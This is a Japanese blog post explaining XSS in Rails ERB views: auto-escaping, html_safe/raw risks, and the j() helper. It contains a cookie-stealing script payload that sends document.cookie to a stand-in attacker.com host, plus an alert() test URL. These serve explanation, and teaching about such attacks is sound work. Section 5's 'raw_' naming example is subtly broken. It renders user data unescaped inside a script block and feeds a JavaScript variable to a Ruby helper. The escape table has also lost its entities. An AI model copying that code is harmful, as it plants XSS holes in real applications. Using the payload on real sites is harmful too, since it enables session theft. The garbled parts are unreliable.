はじめに
こんにちは。アメリカに住みながら、独学でエンジニアを目指しているTairaです。
現在リーダブルコードを読んでいますが、そこで出てきたXSSについて知識の再整理をしたいと考え記事を書こうと思いました
1. XSS(クロスサイトスクリプティング)とは?
XSS(Cross-Site Scripting) は、悪意のあるスクリプトをWebページに埋め込み、ユーザーのブラウザでそのスクリプトを実行させる攻撃手法です。
想定される被害
- クッキー情報の窃取(セッションハイジャック)
- フィッシング(偽ログインページの表示)
- 意図しないユーザー操作の実行(クリックジャッキングなど)
2. 危険な例(Rails)
<p><%= params[:name] %></p>
このコードに以下のようなリクエストが送られると、エスケープされていない場合はスクリプトが実行されてしまいます:
http://example.com/?name=<script>alert('XSS!')</script>
具体例(コメント欄のXSS)
たとえば、ユーザーがコメント欄に以下のようなコードを投稿したとします:
<script>document.location='http://attacker.com?cookie=' + document.cookie</script>
これがそのまま表示されると、ページを訪れた他のユーザーのブラウザでスクリプトが実行され、クッキーが盗まれる可能性があります。
3. Railsは自動でエスケープしてくれる?
はい、Railsは基本的にERBにおいて自動でエスケープ処理を行います。
<p><%= @user.name %></p>
このコードは、内部的に以下のように変換され、HTMLとして無害に表示されます:
<p><%= h(@user.name) %></p>
エスケープ例
文字 | エスケープ結果 |
---|---|
< |
< |
> |
> |
& |
& |
" |
" |
' |
' |
4. 注意が必要なケース(html_safeの使用)
<p><%= @comment.body.html_safe %></p>
.html_safe
を使うと、エスケープ処理が無効になり、HTMLとしてそのまま描画されてしまいます。信頼できないユーザー入力に対して使うと、XSSの温床になります。
5. JavaScriptへの出力時の注意点
JavaScript内に変数として埋め込む場合、j()
(escape_javascript
)ヘルパーを使うと安全です。
<script>
const userName = "<%= j @user.name %>";
</script>
また、まだエスケープしていない文字列データをJavaScriptで扱うときには、変数名に raw_
を付けるなどして注意を喚起する命名を行うことが望ましいです。
<script>
const raw_userName = "<%= @user.name %>"; // 非エスケープのまま
const userName = "<%= j raw_userName %>"; // j() でエスケープしてから使用
</script>
このようにすることで、エスケープ処理を忘れず、安全性を意識したコーディングがしやすくなります。
6. RailsにおけるXSS対策まとめ
方法 | 内容 | 備考 |
---|---|---|
<%= %> |
自動でHTMLエスケープされる | 基本的に安全 |
raw , html_safe
|
エスケープ無効化 | 原則使用注意 |
j() |
JavaScriptへの出力時に使用 |
escape_javascript と同等 |
raw_ |
未エスケープデータの識別に有効な命名規則 | チーム開発での事故防止にも役立つ |
7. まとめ
- XSSは、ユーザーのブラウザでスクリプトを実行させる攻撃
- Railsは基本的にERBの出力を自動でエスケープしてくれるため安全
- ただし
html_safe
やraw
の使用は慎重に! - JavaScript内に出力する際には
j()
ヘルパーを使用する - 未エスケープデータには
raw_
などのプレフィックスを使うことで安全性を高められる